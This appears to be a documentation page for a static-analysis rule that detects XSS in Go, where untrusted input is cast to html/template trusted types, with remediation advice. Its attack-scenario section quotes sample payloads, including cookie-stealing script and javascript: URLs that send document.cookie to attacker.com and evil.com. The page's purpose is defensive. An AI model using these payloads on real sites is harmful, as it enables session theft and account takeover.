Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset golang/GO-XSS-001 --project .About This Rule
Understanding the vulnerability and how it is detected
Go's html/template package performs context-aware escaping by default — it tracks whether a template action appears in an HTML body, attribute, <script> block, <style> block, or URL context, and applies appropriate escaping automatically. This is one of Go's strongest built-in security features.
The package defines "trusted type" wrappers that signal "skip escaping, this is already safe": template.HTML, template.CSS, template.JS, template.JSStr, template.HTMLAttr, template.URL, and template.Srcset. When a developer casts user-controlled input to any of these types, the template engine outputs the value verbatim without escaping — directly enabling XSS.
Go's standard library itself has had five CVEs in html/template between 2023–2026: CVE-2023-24538 (backtick JS template literal injection, CVSS 9.8), CVE-2023-39318, CVE-2023-39319 (script context comment handling), and CVE-2026-27142 (meta refresh URL injection). Developers should not assume html/template is bulletproof — correct usage (no type conversion of untrusted data) is still required.
Note: text/template performs zero HTML escaping. Using text/template where html/template is needed is equivalent to writing raw user input into the response.
Security Implications
Potential attack scenarios if this vulnerability is exploited
Session Hijacking
Injected <script>document.location='https://attacker.com?c='+document.cookie</script> steals the victim's session cookie, providing full account takeover.
Credential Harvesting
DOM manipulation replaces login forms with attacker-controlled forms that exfiltrate credentials directly to the attacker's server.
Malware Distribution
Stored XSS can silently redirect visitors to drive-by-download pages or inject crypto miners into every page load on a compromised site.
CSRF Token Theft
Injected JS reads CSRF tokens from the DOM, enabling state-changing requests as the authenticated victim. Real example: Gogs CVE-2022-32174 used stored XSS to extract CSRF tokens and escalate victim accounts to admin.
CSS Injection via template.CSS
template.CSS(userInput) can inject legacy IE expression() payloads or close the style block and open a script block: </style><script>alert(1)</script>.
javascript: URL via template.URL
template.URL only validates the scheme is not obviously dangerous but does not block javascript: pseudo-protocol in all contexts. Attacker supplies javascript:fetch('https://evil.com?c='+document.cookie) as a href value.
How to Fix
Recommended remediation steps
- 1Never cast user-controlled values to template.HTML, template.CSS, template.JS, template.URL, template.HTMLAttr, template.JSStr, or template.Srcset.
- 2Use html/template (not text/template) for all HTML output — text/template has zero escaping and is only safe for non-HTML output like plaintext emails.
- 3For rich HTML content from users, use a dedicated HTML sanitizer (e.g., github.com/microcosm-cc/bluemonday) before wrapping in template.HTML.
- 4Set a strict Content-Security-Policy header as defense-in-depth.
- 5Set HttpOnly and SameSite=Lax on session cookies to limit XSS blast radius.
- 6Keep Go up to date — html/template has had multiple CVEs; always run the latest patch release.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
Tracks taint from net/http.Request, gin.Context, echo.Context, fiber.Ctx to html/template type conversion calls (template.HTML, CSS, JS, JSStr, HTMLAttr, Srcset, URL). Catches reflected XSS and partially catches stored XSS (when the DB read is within the tracked scope). Does not detect DOM XSS.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Go
XSS via fmt.Fprintf to http.ResponseWriter
User input flows into fmt.Fprintf/Fprintln/Fprint writing directly to ResponseWriter — fmt functions perform no HTML escaping, any user-controlled format argument renders as raw HTML in the browser.
XSS via io.WriteString to http.ResponseWriter
User input flows into io.WriteString writing directly to ResponseWriter without HTML escaping — io.WriteString is a raw byte writer that performs no HTML neutralization.
Frequently Asked Questions
Common questions about XSS via Unsafe html/template Type Conversions
New feature
Get these findings posted directly on your GitHub pull requests
The XSS via Unsafe html/template Type Conversions rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.